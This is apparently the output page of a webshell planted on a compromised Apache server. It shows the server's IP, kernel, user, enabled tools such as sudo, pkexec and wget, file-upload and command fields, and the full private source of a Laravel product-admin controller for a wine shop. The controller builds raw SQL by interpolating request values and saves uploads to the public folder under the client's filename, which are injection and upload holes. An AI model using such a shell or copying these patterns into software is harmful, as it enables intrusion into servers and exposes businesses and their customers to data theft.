403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Produto/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Produto/Controllers/Admin/AdminProdutoController.php
<?php

namespace App\Modules\Produto\Controllers\Admin;

set_time_limit(0);

use Illuminate\Http\Request;
use DB;
use Mail;
use Exception;
use App\Http\Requests;
use App\Http\Controllers\BaseController;
use App\Modules\Produto\Models\Produto;
use App\Modules\UnidadeNegocio\Models\UnidadeNegocio;
use App\Modules\TipoDeProduto\Models\TipoDeProduto;
use App\Modules\ProdutoCaracteristica\Models\ProdutoCaracteristica;
use App\Modules\PerfilHarmonizacao\Models\PerfilHarmonizacao;
use App\Modules\Produtor\Models\Produtor;
use App\Modules\Fornecedor\Models\Fornecedor;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\Empresa\Models\Empresa;
use App\Modules\ProdutoErp\Models\ProdutoErp;
use App\Modules\ProdutoRegiao\Models\ProdutoRegiao;
use App\Modules\ProdutoSubregiao\Models\ProdutoSubregiao;
use App\Modules\PedidoVendaHasProduto\Models\PedidoVendaHasProduto;
use App\Modules\CanalHasOferta\Models\CanalHasOferta;
use App\Modules\ProdutoVariacao\Models\ProdutoVariacao;
use App\Modules\ProdutoHasVariacaoAtributo\Models\ProdutoHasVariacaoAtributo;
use App\Modules\ProdutoVariacaoAtributo\Models\ProdutoVariacaoAtributo;
use App\Modules\Tag\Models\Tag;
use App\Modules\Safra\Models\Safra;
use App\Modules\Castas\Models\Castas;
use App\Modules\ProdutoHasSafra\Models\ProdutoHasSafra;
use App\Modules\ProdutoHasCastas\Models\ProdutoHasCastas;



use App\Modules\Atributo\Models\Atributo;
use App\Modules\Pais\Models\Pais;

use App\Services\GeralService;
use App\Services\ErpService;

use Illuminate\Support\Facades\Log;

class AdminProdutoController extends BaseController
{
	private $modulo;
	private $moduloCaracteristica;
	private $fields;
	private $fks;
	private $lastInsertId;

	private $atributos = [
		'S'  => 'safra',
		'C'  => 'castas',
		'TA' => 'teor_alcoolico',
		'TS' => 'temperatura_de_servico',
		'G'  => 'guarda',
		'V'  => 'vedante',
		'D'  => 'decanter',
		'M'  => 'maturacao',
		'R'  => 'regiao',
	];

    public function __construct(){
		parent::__construct();
		$this->middleware('auth');
		$this->modulo = \App\Gerador::where('nome', 'Produto')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;

		$this->moduloCaracteristica = \App\Gerador::where('nome', 'ProdutoCaracteristica')->with('campos', 'fks')->first();
		$this->fieldsCaracteristica = $this->moduloCaracteristica->campos;
		$this->fksCaracteristica = $this->moduloCaracteristica->fks;


		$this->produto_m = new Produto();
		$this->produto_caracteristica_m = new ProdutoCaracteristica();
	}

	public function index(Request $request){

		$query = Produto::select('produto.*');

		$query->orderBy('id', 'DESC');

		if ($request->input('term'))
        {

        	$query->where(function($qr) use ($request){
        		$qr->where('produto.nome', 'like', '%'.$request->input('term').'%');
            	//$qr->orWhere('produto.subtitulo', 'like', '%'.$request->input('term').'%');
            	$qr->orWhere('produto.sku', 'like', '%'.$request->input('term').'%');
            	$qr->orWhere('produto.localizador', '=', $request->input('term'));
        	});

        }

		if ($request->input('tag'))
        {  
            $query->join('produto_has_tag', 'produto_has_tag.produto_id', '=', 'produto.id')
            ->join('tag', 'tag.id', '=', 'produto_has_tag.tag_id')
            ->where('tag.nome', 'like', '%'.$request->input('tag').'%'); 
        }

        if ($request->input('id_estoque'))
        {
        	$query->where('produto.id_estoque', $request->input('id_estoque'));
        }

		$data['produtos'] = $query->groupBy('produto.id')->with('fornecedor')->paginate(20);

        $data['produtos']->getCollection()->transform(function ($produto) {
            $produto->estoqueerp = GeralService::getEstoqueProduto($produto);
            return $produto;
        });

		return view('Produto::admin/produto',$data);
	}

	public function geradorVariacao(Request $request){

		$data                  = [];
		$data['listaProdutos'] = Produto::select('id','nome')->whereRaw("nome LIKE '%Camiseta%'")->orderBy('id', 'ASC')->get();
		$data['listaOfertas']  = Oferta::select('id','titulo','sub_titulo')->whereRaw("titulo LIKE '%Camiseta%'")->orderBy('id', 'ASC')->get();

		return view('Produto::admin/gerador-variacao',$data);
	}

	public function geradorListaProdutosVariacao(Request $request){

		$data                  = $request->input();
		$data['listaTamanhos'] = ProdutoVariacaoAtributo::where('produto_variacao_id', 1)->orderBy('id', 'ASC')->get();
		$data['listaModelos']  = ProdutoVariacaoAtributo::where('produto_variacao_id', 2)->orderBy('id', 'ASC')->get();
		$data['oferta']        = Oferta::select('id','titulo','sub_titulo')->where("id", $request->input('oferta_id'))->first();
		
		$sequenceSKU = [];
		for($s=1;$s<=$request->input('quantidade');$s++){
			$sequenceSKU[] = GeralService::sequenceSKU($s);
		}

		$data['sequenceSKU'] = $sequenceSKU;

		$html = view('Produto::admin/produtos-lista-variacao', $data)->render();

		$json = [
			'status' => true,
			'html'   => $html
		];

        return response()->json($json);

	}

	public function geradorProdutosVariacao(Request $request){

		$produtos = $request->input('produtos');
		$errors   = [];

		$produto = Produto::where('id', $request->input('produto_id'))->first();
		$produto->load('caracteristicas');

		$Oferta = Oferta::where('id', $request->input('oferta_id'))->first();

		foreach ($produtos as $item) {

			try {

				$produtoClone                = $produto->replicate();
				$produtoClone->sku           = $item['sku'];
				$produtoClone->nome          = $item['nome'];
				$produtoClone->data_inclusao = date('Y-m-d H:i:s');
				$produtoClone->id_estoque    = GeralService::sequenceEstoque();
				$produtoClone->sincronizar_tiny     = 0;
				$produtoClone->disponibilidade      = $item['disponibilidade'];
				$produtoClone->reserva              = 0;
				$produtoClone->qtd_adega            = 0;
				$produtoClone->qtd_em_processamento = 0;
				$produtoClone->bkp_apresentacao_vinumday = NULL;
				$produtoClone->listar_compras       = 0;
				$produtoClone->origem_preco = 'produto';
				$produtoClone->save();

				//imagens
				$imagens = $produto->getImagens($produto->id);
				foreach($imagens as $objImagem)
				{
				    $novaImagem = array();
				    $novaImagem['id_produto'] = $produtoClone->id;
				    $novaImagem['thumbnail_principal'] = $objImagem->thumbnail_principal;

				    $this->produto_m->criar_imagem($novaImagem);
				}

				//atributos
				if(isset($produto->caracteristicas)){
					$caracteristicas = $produto->caracteristicas;
					$caracteristicasClone = $caracteristicas->replicate();
				    $caracteristicasClone->id_produto = $produtoClone->id;
				    $caracteristicasClone->save();
				}

				$Produto = $produtoClone;

				//Atributos
				$Tamanho = new ProdutoHasVariacaoAtributo;
				$Tamanho->produto_id = $Produto->id;
				$Tamanho->produto_variacao_id = 1;
				$Tamanho->produto_variacao_atributo_id = $item['tamanho'];
				$Tamanho->save();

				$Modelo = new ProdutoHasVariacaoAtributo;
				$Modelo->produto_id = $Produto->id;
				$Modelo->produto_variacao_id = 2;
				$Modelo->produto_variacao_atributo_id = $item['modelo'];
				$Modelo->save();

				//ERP & Estoque
				$Empresa = Empresa::where('sigla', 'SWC')->first();
				$sqlEstoque = "UPDATE estoque SET quantidade = {$item['disponibilidade']} WHERE produto_id = {$Produto->id} AND empresa_id = {$Empresa->id}";
				DB::update($sqlEstoque);

				//Oferta x Produto
				$sql = "INSERT INTO oferta_has_produto (quantidade, id_produto, id_oferta, valor_unitario, valor_total, preco_custo, preco_mercado) VALUES (1, {$Produto->id}, {$Oferta->id}, {$Produto->preco_de_venda}, {$Produto->preco_de_venda}, {$Produto->preco_custo}, {$Produto->preco_mercado})";
				DB::insert($sql);

			} catch (Exception $e) {
				$errors[] = "Erro Produto: {$item['nome']} " . $e->getMessage();
				Log::info('Erro ao Gerar Produto: ' . $e->getMessage());
			}

		}

		$json = ['status' => true, 'message' => "Produtos gravados com sucesso!", 'errors' => $errors];
        return response()->json($json);
	}

	public function gerador(Request $request){

		$data = [];
		$data['listaFornecedores'] = Fornecedor::orderBy('nome', 'ASC')->get();
		$data['listaTipos']        = TipoDeProduto::orderBy('nome', 'ASC')->get();
		$data['ordenacao']         = '';

		return view('Produto::admin/gerador',$data);
	}

	public function geradorListaProdutos(Request $request){

		$data                = $request->input();
		$data['listaTipos']  = TipoDeProduto::orderBy('nome', 'ASC')->get();
		$data['lastProduto'] = Produto::select('sku')->where('situacao', 'A')->orderBy('id', 'DESC')->first();
		
		$sequenceSKU = [];
		for($s=1;$s<=$request->input('quantidade');$s++){
			$sequenceSKU[] = GeralService::sequenceSKU($s);
		}

		$data['sequenceSKU'] = $sequenceSKU;

		$html = view('Produto::admin/produtos-lista', $data)->render();

		$json = [
			'status' => true,
			'html'   => $html
		];

        return response()->json($json);
	}

	public function geradorProdutos(Request $request){

		$produtos = $request->input('produtos');
		$errors   = [];

		foreach ($produtos as $produto) {

			try {

				$preco_venda = number_format($produto['preco_venda'], 0, '.', '');
				
				$Produto                    = new Produto();
				$Produto->sku               = $produto['sku'];
				$Produto->nome              = $produto['nome'];
				$Produto->localizador       = 'RECEBIMENTO';
				$Produto->unidade_de_medida = 'Gr';
				$Produto->ncm               = '2204.21.00';
				$Produto->peso_bruto        = 1.18;
				$Produto->peso_liquido      = 0.75;
				$Produto->id_tipo_produto   = $produto['tipo'];
				$Produto->id_fornecedor     = $produto['fornecedor'];
				$Produto->preco_custo       = $produto['preco_custo'];
				$Produto->custo_efetivo     = $produto['custo_efetivo'];
				$Produto->preco_de_venda    = !empty($preco_venda) && $preco_venda > 0 ? $produto['preco_venda'] : ($produto['preco_custo'] * 2);
				$Produto->preco_mercado     = $produto['preco_mercado'];
				$Produto->situacao          = 'A';
				$Produto->id_estoque        = GeralService::sequenceEstoque();
				$Produto->origem            = 0;

				$Produto->save();

			} catch (Exception $e) {
				$errors[] = "Erro Produto: {$produto['nome']} " . $e->getMessage();
				Log::info('Erro ao Gerar Produto: ' . $e->getMessage());
			}

		}

		$json = ['status' => true, 'message' => "Produtos gravados com sucesso!", 'errors' => $errors];
        return response()->json($json);
	}

	public function add(){
		$data = array();
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});

		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::orderBy('nome','ASC')->get();
		}

		$data['array_perfil_harmonizacao_id'] = PerfilHarmonizacao::orderBy('nome','ASC')->get();
		$data['unidades']                     = UnidadeNegocio::orderBy('id','ASC')->get();

		/* Produto Caracteristica*/
		$data['moduloCaracteristica'] = $this->moduloCaracteristica;
		$data['fieldsCaracteristica'] = [];
		foreach ($this->fieldsCaracteristica as $field) {
			if ($field->nome != 'id_produto') {
				$data['fieldsCaracteristica'][] = $field;
			}
		}
		foreach ($this->fksCaracteristica as $fk) {
			$data['fieldsCaracteristica'][] = $fk;
		}
		usort($data['fieldsCaracteristica'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fksCaracteristica as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}


		$produto             = new Produto();
		$produto->id_estoque = GeralService::sequenceEstoque();
		$produto->sku        = GeralService::sequenceSKU();
		$data['produto'] = $produto;

		$data['paises'] = Pais::orderBy('nome', 'ASC')->get();
		$data['produtores'] = Produtor::orderBy('nome', 'ASC')->get();
		$tags = Tag::select('tag.id', 'tag.nome', 'tag_tipo.nome as nomeTipo')
		->join('tag_tipo', 'tag_tipo.id', 'tag.tag_tipo_id')
		->get();

		$arr_tags = [];

		foreach($tags as $tag){
			$arr_tags[$tag['nomeTipo']][] = $tag;
		}

		$data['tags'] = $arr_tags;
		$data['safra'] = Safra::all();
		$data['castas'] = Castas::all();

		$data['nextId'] = $this->produto_m->getNextAutoIncrement();
		return view('Produto::admin/form-produto', $data);
	}

	public function buscarVariacoes(Request $request){

		$variacoes = ProdutoVariacao::where('tipo_produto_id', $request->input('id_tipo_produto'))->get();

		if(count($variacoes) == 0){
			return response()->json(['status' => true, 'html' => '']);
		}

		$data['variacoes'] = $variacoes;

		if($request->input('id_produto')){
			$produto = Produto::find($request->input('id_produto'));
			if($produto){
				$produto_variacao = [];
				foreach ($produto->atributosVariacao as $atributo) {
					$produto_variacao[$atributo->produto_variacao_id] = $atributo->produto_variacao_atributo_id;
				}
				$data['produto_variacao'] = $produto_variacao;
			}
		}

		$html = view('Produto::admin/_variacoes-produto', $data)->render();

		$json = ['status' => true, 'html' => $html];

		return response()->json($json);
	}

	public function edit($slug){
		$id = Produto::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::orderBy('nome','ASC')->get();
		}
		$data['produto'] = $this->produto_m->find($id);

		$data['array_perfil_harmonizacao_id'] = PerfilHarmonizacao::orderBy('nome','ASC')->get();
		$data['unidades']                     = UnidadeNegocio::orderBy('id','ASC')->get();

		/* Produto Caracteristica*/
		$data['moduloCaracteristica'] = $this->moduloCaracteristica;
		$data['fieldsCaracteristica'] = [];
		foreach ($this->fieldsCaracteristica as $field) {
			if ($field->nome != 'id_produto') {
				$data['fieldsCaracteristica'][] = $field;
			}
		}
		foreach ($this->fksCaracteristica as $fk) {
			$data['fieldsCaracteristica'][] = $fk;
		}
		usort($data['fieldsCaracteristica'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fksCaracteristica as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['produto'] = $this->produto_m->find($id);
		$data['produto_caracteristica'] = $this->produto_caracteristica_m->findByProduto($id);

		if($this->modulo->galeria){
			$data['produto']->listaImagens = $this->produto_m->getImagens($id);
		}

		$data['paises']     = Pais::orderBy('nome', 'ASC')->get();
		$data['produtores'] = Produtor::orderBy('nome', 'ASC')->get();
		$tags = Tag::select('tag.id', 'tag.nome', 'tag_tipo.nome as nomeTipo')
		->join('tag_tipo', 'tag_tipo.id', 'tag.tag_tipo_id')
		->get();

		$arr_tags = [];

		foreach($tags as $tag){
			$arr_tags[$tag['nomeTipo']][] = $tag;
		}

		$data['tags'] = $arr_tags;
		$data['safra'] = Safra::all();
		$data['castas'] = Castas::all();

		$data['produto_tags'] = DB::table('produto_has_tag')->where('produto_id', $id)->pluck('tag_id')->toArray();

		//Regiões Produto x País Origem
		if(!empty($data['produto']->id_pais_origem)):
			$data['regioes'] = ProdutoRegiao::where('pais_id', $data['produto']->id_pais_origem)->orderBy('nome', 'ASC')->get();
			if(isset($data['produto_caracteristica']) && !empty($data['produto_caracteristica']->produto_regiao_id)):
				$data['subregioes'] = ProdutoSubregiao::where('produto_regiao_id', $data['produto_caracteristica']->produto_regiao_id)->orderBy('nome', 'ASC')->get();
			endif;
		endif;

		$data['estoqueerp'] = GeralService::getEstoqueProduto($data['produto']);

		$data['variacoes'] = ProdutoVariacao::where('tipo_produto_id', $data['produto']->id_tipo_produto)->get();

		$produto_variacao = [];
		foreach ($data['produto']->atributosVariacao as $atributo) {
			$produto_variacao[$atributo->produto_variacao_id] = $atributo->produto_variacao_atributo_id;
		}
		$data['produto_variacao'] = $produto_variacao;

		foreach ($data['produto']->ofertas as $oferta){

            if(isset($oferta->oferta) && $oferta->oferta->tipo == 'C'){
                $CanalHasOferta = CanalHasOferta::where('id_oferta', $oferta->id_oferta)->orderBy('id', 'desc')->first();
                if($CanalHasOferta){
                    $oferta->oferta->canal = $CanalHasOferta->canal;
                }
            }

            $PedidoVendaHasProduto = PedidoVendaHasProduto::select(DB::raw("SUM(quantidade) AS 'quantidade'"))
            ->where('id_oferta', $oferta->id_oferta)
            ->where('id_produto', $data['produto']->id)
            ->whereRaw(DB::raw("EXISTS (SELECT 1 FROM pedido_venda pv WHERE pv.id = pedido_venda_has_produto.id_pedido_venda AND pv.id_status_pedido_venda IN (1,2,7))"))
            ->groupBy('id_oferta')
            ->first();

            $oferta->quantidade = ($PedidoVendaHasProduto ? $PedidoVendaHasProduto->quantidade : 0);

        }


		$data['produto_safra'] = ProdutoHasSafra::where('produto_id', $data['produto']->id)->pluck('safra_id');
		$data['produto_castas'] = ProdutoHasCastas::where('produto_id', $data['produto']->id)->pluck('casta_id');

		return view('Produto::admin/form-produto',$data);
	}

	public function buscarRegioes(Request $request){

		$pais_id = $request->input('pais_id');
		$regioes = ProdutoRegiao::where('pais_id', $pais_id)->orderBy('nome', 'ASC')->get();

		return response()->json($regioes);
	}

	public function buscarSubregioes(Request $request){

		$produto_regiao_id = $request->input('produto_regiao_id');
		$subregioes        = ProdutoSubregiao::where('produto_regiao_id', $produto_regiao_id)->orderBy('nome', 'ASC')->get();

		return response()->json($subregioes);
	}

	public function movimentacao($produto){
		$produto = $this->produto_m->find($produto);
		$data    = [];
		$data['produto']      = $produto;
		$data['movimentacao'] = $produto->estoquelocal;
		return view('Produto::admin/movimentacao', $data);
	}

	public function logEstoque($produto){
		$produto            = $this->produto_m->find($produto);
		$data               = [];
		$data['produto']    = $produto;
		$data['estoquelog'] = $produto->estoquelog;
		$data['statusErro'] = ErpService::getStatusErro();
		return view('Produto::admin/log-estoque', $data);
	}

	public function localizador($produto){
		
		$produto = $this->produto_m->find($produto);
		$json    = array('localizador' => $produto->localizador);

        return response()->json($json);
	}

	public function atualizarSaldos(Request $request){

		$ids           = $request->input('ids_produto');
		$listaProdutos = Produto::whereIn('id', $ids)->get(); // Busca os produtos selecionados
		$errors   	   = [];
		
		foreach ($listaProdutos as $produto) {
			$data_ultima_atualizacao = date('Y-m-d H:i:s');
			$saldoProduto            = GeralService::atualizarSaldoProduto($produto, $data_ultima_atualizacao);
			if(count($saldoProduto->estoque['errors']) > 0){
				foreach ($saldoProduto->estoque['errors'] as $error) {
					$errors[] = $error;
				}
			}
		}
		
		if(count($errors) > 0){
			return response()->json(array(
				'status'  => false,
				'message' => 'Ocorreram falhas durante a atualização!',
				'errors'  => $errors
			));
		}
		
    	return response()->json(['status' => true, 'message' => "Saldos Atualizados com sucesso!"]);
	}

	public function atualizarSaldoProduto(Request $request){
		
		$post                    = $request->input();
		$produto                 = $this->produto_m->find($post['produto_id']);
		$data_ultima_atualizacao = date('Y-m-d H:i:s');

		$saldoProduto        = GeralService::atualizarSaldoProduto($produto, $data_ultima_atualizacao);
		$atualizacao_produto = GeralService::getEstoqueProduto($produto);
		$atualizacao_produto['ultima_atualizacao'] = date('d/m/Y H:i', strtotime($atualizacao_produto['ultima_atualizacao']));

		if(count($saldoProduto->estoque['errors']) > 0){
			return response()->json(array(
				'status'  => false,
				'message' => 'Ocorreram falhas durante a atualização!',
				'errors'  => $saldoProduto->estoque['errors'],
				'produto' => $atualizacao_produto
			));
		}

		$json = [
			'status'  => true,
			'message' => "Saldos Atualizados com sucesso!",
			'produto' => $atualizacao_produto
        ];

        return response()->json($json);

	}

	public function clone($slug) {

		Log::info('produtoClone->save()');

		$produto = Produto::where('slug', $slug)->first();
		$produto->load('caracteristicas');

		$produtoClone                = $produto->replicate();
		$produtoClone->sku           = "CLONE_{$produtoClone->sku}";
		$produtoClone->nome          = "CLONE {$produtoClone->nome}";
		$produtoClone->data_inclusao = date('Y-m-d H:i:s');
		$produtoClone->id_estoque    = GeralService::sequenceEstoque();
		$produtoClone->sincronizar_tiny     = 0;
		$produtoClone->disponibilidade      = 0;
		$produtoClone->reserva              = 0;
		$produtoClone->qtd_adega            = 0;
		$produtoClone->qtd_em_processamento = 0;
		$produtoClone->listar_compras       = 0;
		$produtoClone->origem_preco = 'produto';
		$produtoClone->save();

		Log::info('produtoClone->save()');

		Log::info('produtoSaveImages');

		//imagens
		$imagens = $produto->getImagens($produto->id);
		foreach($imagens as $objImagem)
		{
		    $novaImagem = array();
		    $novaImagem['id_produto'] = $produtoClone->id;
		    $novaImagem['thumbnail_principal'] = $objImagem->thumbnail_principal;

		    $this->produto_m->criar_imagem($novaImagem);
		}

		Log::info('produtoSaveImages');

		Log::info('produtoSaveCaracteristicas');

		//atributos
		if(isset($produto->caracteristicas)){
			$caracteristicas = $produto->caracteristicas;
			$caracteristicasClone = $caracteristicas->replicate();
		    $caracteristicasClone->id_produto = $produtoClone->id;
		    $caracteristicasClone->save();
		}

		Log::info('produtoSaveCaracteristicas');

		\Session::flash('type', 'success');
    	\Session::flash('message', "Produto " . $produtoClone->nome . " duplicado com sucesso!");
		return redirect('admin/produto');
	}

	public function validar(Request $request){

		$post    = $request->input();
		$status  = true;
		$message = 'Produto OK';

		if(empty($request->input('sku'))){
			$status  = false;
			$message = "SKU deve ser preenchido!";
		}else{
			//validação SKU
			if($request->input('id')){
				$produto = Produto::where('id', '<>', $request->input('id'))->where('sku', '=', $request->input('sku'))->first();
			}else{
				$produto = Produto::where('sku', '=', $request->input('sku'))->first();
			}

			if($produto){
				$status  = false;
				$message = "SKU já utilizado!";
			}
		}

		$json = array(
            'status'  => $status,
            'message' => $message
        );

        return response()->json($json);
	}

	public function save(Request $request){

		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		$arrayFields[] = 'unidade_negocio_id';
		$arrayFields[] = 'id_pais_origem';
		$arrayFields[] = 'id_estoque';
		$arrayFields[] = 'id_tiny';
		$arrayFields[] = 'localizador';
		$arrayFields[] = 'origem_preco';
		$arrayFields[] = 'capacidade_caixa';
        $arrayFields[] = 'url_aula_master_class';

		$carnes = isset($post['carnes']) ? implode(',',$post['carnes']) : '';
		$post['carnes'] = $carnes;

		$queijos = isset($post['queijos']) ? implode(',',$post['queijos']) : '';
		$post['queijos'] = $queijos;

		$da_terra = isset($post['da_terra']) ? implode(',',$post['da_terra']) : '';
		$post['da_terra'] = $da_terra;

		$amidos = isset($post['amidos']) ? implode(',',$post['amidos']) : '';
		$post['amidos'] = $amidos;

		$temperos = isset($post['temperos']) ? implode(',',$post['temperos']) : '';
		$post['temperos'] = $temperos;

		$doces = isset($post['doces']) ? implode(',',$post['doces']) : '';
		$post['doces'] = $doces;

		if(isset($post['id_produtor']) && !is_numeric($post['id_produtor'])){
			$produtor            = $this->salvarProdutor($post['id_produtor']);
			$post['id_produtor'] = $produtor->id;
		}

		if(isset($post['id_fornecedor']) && !is_numeric($post['id_fornecedor'])){
			$fornecedor            = $this->salvarFornecedor($post['id_fornecedor']);
			$post['id_fornecedor'] = $fornecedor->id;
		}

        $tipoProduto = DB::table('tipo_de_produto')->where('id', $post['id_tipo_produto'])->first();

        if(isset($tipoProduto) && $tipoProduto->slug == 'masterclass'){
            $paisPadraoMasterclass = DB::table('pais')->where('slug', 'brasil')->value('id');
            $post['id_pais_origem'] = $paisPadraoMasterclass;
        }

		if($request->input('id')){
			$id_produto = $this->produto_m->editar($arrayFields, $post, $request->input('id'));
		}else{
			$id_produto = $this->produto_m->criar($arrayFields, $post);
		}

		DB::table('produto_has_tag')->where('produto_id', $id_produto)->delete();

		if(isset($post['tags']) && empty($post['tags'] == false)){
			foreach($post['tags'] as $tag){
				DB::table('produto_has_tag')->insert([
					'produto_id' => $id_produto,
					'tag_id'     => $tag,
				]);
			}
		}

		if(isset($post['castas'])){
			DB::table('produto_has_castas')
			->updateOrInsert(
				['produto_id' => $id_produto],
				['casta_id' => $post['castas']]
			);
		}
		if(isset($post['safra'])){
			DB::table('produto_has_safra')
			->updateOrInsert(
				['produto_id' => $id_produto],
				['safra_id' => $post['safra']]
			);
		}

		$post['id_produto'] = $id_produto;
		$produto = Produto::find($id_produto);
		foreach ($this->fieldsCaracteristica as $field) {
			$arrayFieldsCaracteristica[] = $field->nome;
		}
		foreach ($this->fksCaracteristica as $fk) {
			$arrayFieldsCaracteristica[] = $fk->nome;
		}

		foreach ($this->atributos as $tipo => $atributo) {
			if(isset($post[$atributo]) && $this->buscarAtributo($post[$atributo], $tipo) == 0){
				$this->salvarAtributo($post[$atributo], $tipo);
			}
		}

		//Variações Produto x Atributos
		$variacoes = ProdutoVariacao::where('tipo_produto_id', $produto->id_tipo_produto)->get();
		foreach ($variacoes as $variacao) {

			$key = "produto_variacao_atributo_{$variacao->slug}";

			$ProdutoHasVariacaoAtributo = ProdutoHasVariacaoAtributo::where('produto_id', $produto->id)->where('produto_variacao_id', $variacao->id)->first();

			if(isset($post[$key]) && !empty($post[$key])){
				
				if(!$ProdutoHasVariacaoAtributo){
					$ProdutoHasVariacaoAtributo = new ProdutoHasVariacaoAtributo;
					$ProdutoHasVariacaoAtributo->produto_id = $produto->id;
					$ProdutoHasVariacaoAtributo->produto_variacao_id = $variacao->id;
				}

				$ProdutoHasVariacaoAtributo->produto_variacao_atributo_id = $post[$key];
				$ProdutoHasVariacaoAtributo->save();

			}else{
				$ProdutoHasVariacaoAtributo = ProdutoHasVariacaoAtributo::where('produto_id', $produto->id)->where('produto_variacao_id', $variacao->id)->first();
				if($ProdutoHasVariacaoAtributo){
					$ProdutoHasVariacaoAtributo->delete();
				}
			}

		}

		$castas = false;
		if(isset($post['castas'])){
			$castas = Castas::where('id', $post['castas'])->first();
		}
		$post['castas'] = ($castas ? $castas->nome : '');

		$safra = false;
		if(isset($post['safra'])){
			$safra = Safra::where('id', $post['safra'])->first();
		}
		$post['safra'] = ($safra ? $safra->nome : '');

		if($request->input('produto_caracteristica_id')){
			$id_produto_caracteristica = $this->produto_caracteristica_m->editar($arrayFieldsCaracteristica, $post, $request->input('produto_caracteristica_id'));
		}else{
			$id_produto_caracteristica = $this->produto_caracteristica_m->criar($arrayFieldsCaracteristica, $post);
		}

		\Session::flash('type', 'success');
      	\Session::flash('message', "Alteracoes salvas com sucesso!");
		return redirect('admin/produto/edit/'.$produto->slug);

	}

	public function criarRapido(Request $request){
		$post = $request->input();

		$produto = new Produto();
		$produto->fill($post);
		$produto->save();

		return response()->json(array(
			'status' => true,
			'message' => 'Produto adicionado com sucesso!',
			'produto' => $produto
		));
	}

	public function importacaoProdutoErp(Request $request){

		$post = $request->input();
		$data = [];

		if(empty($post)){

		}else{

			$data = $post;

			if($request->hasFile('file')){

				$file        = $request->file('file');
				$tmpFileName = $file->getClientOriginalName();
				$file        = $file->move(public_path(), $tmpFileName);
				
				$row       = 0;
				$continued = [];
				$imports   = [];

				$lancamentos      = [];
				$lancamentosCount = 0;
				$produtos         = ProdutoErp::select('id_tiny', 'produto_id')->where('unidade_negocio_id', $post['unidade_negocio_id'])->where('empresa_id', $post['empresa_id'])->get();
				$listaProdutos    = [];
				foreach ($produtos as $produto) {
					$listaProdutos["{$produto->id_tiny}_{$produto->produto_id}"] = $produto->produto_id;
				}

				if (($handle = fopen($tmpFileName, "r")) !== FALSE) {
				    while (($dados = fgetcsv($handle, 0, ";")) !== FALSE) {

				    	$row++;

				    	if($row == 1){
				    		continue;
				    	}

						$id_tiny    = $dados[0];
						$sku        = $dados[1];
						$produto_id = $dados[2];
						$descricao  = utf8_encode($dados[3]);

						//Código Inválido
						if(!is_numeric($produto_id)){
							$continued[] = ['line' => $row, 'dados' => $dados, 'message' => 'ID Produto Inválido'];
							continue;
						}elseif(isset($listaProdutos["{$id_tiny}_{$produto_id}"])){
							continue;
						}

						$lancamento = [
							'empresa_id'              => $post['empresa_id'],
							'unidade_negocio_id'      => $post['unidade_negocio_id'],
							'produto_id'              => $produto_id,
							'id_tiny'                 => $id_tiny,
							'log_tiny'                => '',
							'data_sincronizacao_tiny' => date('Y-m-d H:i:s')
						];

						 DB::table('estoque')->insert([
							'empresa_id'              => $post['empresa_id'],
							'unidade_negocio_id'      => $post['unidade_negocio_id'],
							'produto_id'              => $produto_id,
							'data_ultima_atualizacao' => date('Y-m-d H:i:s'),
							'quantidade'              => 0
                        ]);

						$lancamentos[] = $lancamento;
		   			    $imports[] 	   = ['line' => $row, 'dados' => $dados, 'message' => 'Produto importado com sucesso!'];

		   			    if(count($lancamentos) >= 100){
		   			    	ProdutoErp::insert($lancamentos);
		   			    	$lancamentosCount += count($lancamentos);
		   			    	$lancamentos = [];
		   			    }
		   			}
				}

				ProdutoErp::insert($lancamentos);
